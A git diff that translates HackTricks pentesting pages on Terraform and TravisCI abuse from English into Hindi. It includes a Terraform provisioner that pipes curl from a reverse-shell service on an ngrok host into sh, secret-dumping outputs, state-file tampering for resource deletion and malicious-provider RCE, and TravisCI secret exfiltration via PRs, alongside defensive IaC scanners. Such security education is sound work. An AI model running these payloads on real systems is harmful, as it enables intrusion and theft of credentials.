// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
-
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
## Secrets Dumps
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
-
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+## Terraform State फ़ाइलों का दुरुपयोग
-## Abusing Terraform State Files
+यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को बदल नहीं सकते, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है:
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+### संसाधनों को हटाना
-### Deleting resources
+संसाधनों को नष्ट करने के 2 तरीके हैं:
-There are 2 ways to destroy resources:
-
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **वास्तविक संसाधन को नष्ट करने के लिए state फ़ाइल में एक यादृच्छिक नाम के साथ एक संसाधन डालें**
+क्योंकि terraform देखेगा कि संसाधन मौजूद नहीं होना चाहिए, यह इसे नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण:
```json
{
- "mode": "managed",
- "type": "aws_instance",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
- "instances": [
- {
- "attributes": {
- "id": "i-1234567890abcdefg"
- }
- }
- ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
},
```
+2. **संसाधन को इस तरह से संशोधित करें कि इसे अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)**
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+EC2 उदाहरण के लिए, उदाहरण के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है।
### RCE
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+यह भी संभव है कि [एक कस्टम प्रदाता बनाएँ](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और बस terraform स्थिति फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण वाले से बदल दें या दुर्भावनापूर्ण प्रदाता के साथ एक खाली संसाधन जोड़ दें। मूल शोध से उदाहरण:
```json
"resources": [
{
- "mode": "managed",
- "type": "scaffolding_example",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
- "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
- ]
+]
},
```
-
### Replace blacklisted provider
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
+यदि आप ऐसी स्थिति का सामना करते हैं जहाँ `hashicorp/external` को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके `external` प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित `external` प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं।
```terraform
terraform {
- required_providers {
- external = {
- source = "nazarewk/external"
- version = "3.0.0"
- }
- }
+required_providers {
+external = {
+source = "nazarewk/external"
+version = "3.0.0"
+}
+}
}
```
-
-Then you can use `external` as per normal.
-
+फिर आप सामान्य के अनुसार `external` का उपयोग कर सकते हैं।
```terraform
data "external" "example" {
- program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
}
```
-
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
- - Real-time scanning for security vulnerabilities and compliance issues.
- - Integration with version control systems (GitHub, GitLab, Bitbucket).
- - Automated fix pull requests.
- - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC प्रारूपों में कमजोरियों और गलत कॉन्फ़िगरेशन का पता लगाता है।
+- **विशेषताएँ:**
+- सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए वास्तविक समय में स्कैनिंग।
+- संस्करण नियंत्रण प्रणालियों (GitHub, GitLab, Bitbucket) के साथ एकीकरण।
+- स्वचालित सुधार पुल अनुरोध।
+- विस्तृत सुधार सलाह।
+- **साइन अप करें:** [Snyk](https://snyk.io/) पर एक खाता बनाएं।
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
-
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए है और यह छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण भी है।
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform योजना](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm चार्ट](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है।
+यह [सॉफ़्टवेयर संरचना विश्लेषण (SCA) स्कैनिंग](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो सामान्य कमजोरियों और एक्सपोज़र (CVEs) के लिए ओपन-सोर्स पैकेजों और छवियों का स्कैन है।
```bash
pip install checkov
checkov -d /path/to/folder
```
-
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके infrastructure-as-code के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है।
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **compliance:** सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है
+- **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं?
+- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएं। [Installation](https://terraform-compliance.com/pages/installation/) देखें
+- **pre-deploy:** यह आपके कोड को तैनात करने से पहले मान्य करता है
+- **easy to integrate:** यह आपके पाइपलाइन (या git hooks में) चल सकता है ताकि सभी तैनातियों को मान्य किया जा सके।
+- **segregation of duty:** आप अपने परीक्षणों को एक अलग रिपॉजिटरी में रख सकते हैं जहां एक अलग टीम जिम्मेदार है।
> [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> दुर्भाग्यवश, यदि कोड कुछ प्रदाताओं का उपयोग कर रहा है जिन तक आपकी पहुंच नहीं है, तो आप `terraform plan` नहीं कर पाएंगे और इस उपकरण को नहीं चला पाएंगे।
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन को पहचाना जा सके।
+- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन की जांच करता है
+- ⛔ सैकड़ों अंतर्निहित नियम
+- 🪆 मॉड्यूल (स्थानीय और दूरस्थ) को स्कैन करता है
+- ➕ HCL अभिव्यक्तियों और शाब्दिक मानों का मूल्यांकन करता है
+- ↪️ Terraform कार्यों का मूल्यांकन करता है जैसे कि `concat()`
+- 🔗 Terraform संसाधनों के बीच संबंधों का मूल्यांकन करता है
+- 🧰 Terraform CDK के साथ संगत
+- 🙅 उपयोगकर्ता-परिभाषित Rego नीतियों को लागू (और सजाता) है
+- 📃 कई आउटपुट प्रारूपों का समर्थन करता है: सुंदर (डिफ़ॉल्ट), JSON, SARIF, CSV, CheckStyle, JUnit, पाठ, Gif।
+- 🛠️ कॉन्फ़िगर करने योग्य (CLI ध्वज और/या कॉन्फ़िग फ़ाइल के माध्यम से)
+- ⚡ बहुत तेज, विशाल रिपॉजिटरी को जल्दी से स्कैन करने में सक्षम
```bash
brew install tfsec
tfsec /path/to/folder
```
-
### [KICKS](https://github.com/Checkmarx/kics)
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+अपने **KICS** द्वारा Checkmarx के साथ अपने इन्फ्रास्ट्रक्चर-एज़-कोड के विकास चक्र में सुरक्षा कमजोरियों, अनुपालन मुद्दों और इन्फ्रास्ट्रक्चर की गलत कॉन्फ़िगरेशन को जल्दी खोजें।
+**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन-सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए आवश्यक है।
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
-
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थैतिक कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है:
+- गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें।
+- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति में वापस लौटने की अनुमति दें।
+- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएं।
+- क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें।
+- स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है।
```bash
brew install terrascan
```
-
-## References
+## संदर्भ
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -310,7 +280,3 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..c0ece4b9e 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Github PRs का स्वागत है जो यह समझाते हैं कि हमलावर के दृष्टिकोण से उन प्लेटफार्मों का (दुरुपयोग) कैसे करें
- Drone
- TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
-- Any other CI/CD platform...
+- कोई अन्य CI/CD प्लेटफॉर्म...
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..a0a91c8b8 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## What is TravisCI
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **विभिन्न गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है।
{{#ref}}
basic-travisci-information.md
@@ -14,48 +14,48 @@ basic-travisci-information.md
### Triggers
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+हमला शुरू करने के लिए, आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर करना है। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**:
.png>)
#### Cron Jobs
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह निरंतरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है:
.png>)
> [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> ऐसा लगता है कि [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है।
### Third Party PR
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+डिफ़ॉल्ट रूप से, TravisCI तीसरे पक्ष से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं:
.png>)
### Dumping Secrets
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में समझाया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध होते हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)।
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना करने के लिए**, **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे।
+- **कस्टम एन्क्रिप्टेड रहस्यों** की गणना करने के लिए, सबसे अच्छा आप कर सकते हैं वह है **`.travis.yml` फ़ाइल की जांच करना**।
+- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िग फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए:
.png>)
### TODO:
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
+- Windows/Mac/Linux पर चलने वाले रिवर्स शेल के साथ उदाहरण निर्माण
+- लॉग में बेस64 एन्कोडेड env लीक करने वाले उदाहरण निर्माण
### TravisCI Enterprise
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI enterprise** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह:
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- मेज़बान से भाग सकता है?
+- कुबेरनेट्स से समझौता कर सकता है?
+- उसी नेटवर्क में चल रही अन्य मशीनों से समझौता कर सकता है?
+- नए क्लाउड क्रेडेंशियल्स से समझौता कर सकता है?
## References
@@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..fbd9cfd37 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -4,45 +4,42 @@
## Access
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
+TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से पूछेगा कि वह TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति दे जो वह TravisCI के साथ एकीकृत करना चाहता है।
-For example, in Github it will ask for the following permissions:
+उदाहरण के लिए, Github में यह निम्नलिखित अनुमतियों के लिए पूछेगा:
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (केवल पढ़ने के लिए)
+- `read:org` (केवल पढ़ने के लिए)
+- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की अनुमति देता है।
## Encrypted Secrets
### Environment Variables
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+TravisCI में, अन्य CI प्लेटफार्मों की तरह, यह संभव है कि **रिपो स्तर पर रहस्यों को सुरक्षित करें** जो एन्क्रिप्टेड रूप में सुरक्षित किए जाएंगे और **निर्माण को निष्पादित करने वाली मशीन के वातावरण चर में डिक्रिप्ट और पुश किए जाएंगे**।
.png>)
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+यह संभव है कि **उन शाखाओं को इंगित करें जिन पर रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)।
### Custom Encrypted Secrets
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+**प्रत्येक रिपो** के लिए TravisCI एक **RSA की जोड़ी** उत्पन्न करता है, **निजी** को **रखता है**, और रिपोजिटरी की **सार्वजनिक कुंजी** उन लोगों के लिए उपलब्ध कराता है जिनके पास **रिपोजिटरी** तक **पहुँच** है।
+आप एक रिपो की सार्वजनिक कुंजी तक पहुँच सकते हैं:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+फिर, आप इस सेटअप का उपयोग करके **गुप्त जानकारी को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त जानकारी **बिल्ड चलने पर डिक्रिप्ट की जाएगी** और **पर्यावरण चर** में उपलब्ध होगी।
.png>)
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+ध्यान दें कि इस तरीके से एन्क्रिप्ट की गई गुप्त जानकारी सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होगी।
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### कस्टम एन्क्रिप्टेड फ़ाइलें
+पहले की तरह, TravisCI भी **फ़ाइलों को एन्क्रिप्ट करने और फिर बिल्ड के दौरान उन्हें डिक्रिप्ट करने** की अनुमति देता है:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
- openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य निरंतर एकीकरण/निरंतर तैनाती (CI/CD) प्रणाली सक्षम करने की अनुमति मिलती है, जिसे आप अपनी आवश्यकताओं के अनुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं।
-**Travis CI Enterprise consists of two major parts:**
+**Travis CI Enterprise दो प्रमुख भागों में बाँटा गया है:**
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करने, निर्माण कार्यों को अनुसूचित करने आदि के लिए जिम्मेदार हैं।
+2. TCI **कार्यकर्ता** और निर्माण वातावरण छवियाँ (जिन्हें OS छवियाँ भी कहा जाता है)।
-**TCI Core services require the following:**
+**TCI कोर सेवाओं के लिए निम्नलिखित की आवश्यकता होती है:**
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. एक **PostgreSQL11** (या बाद का) डेटाबेस।
+2. एक बुनियादी ढांचा जिसमें Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है।
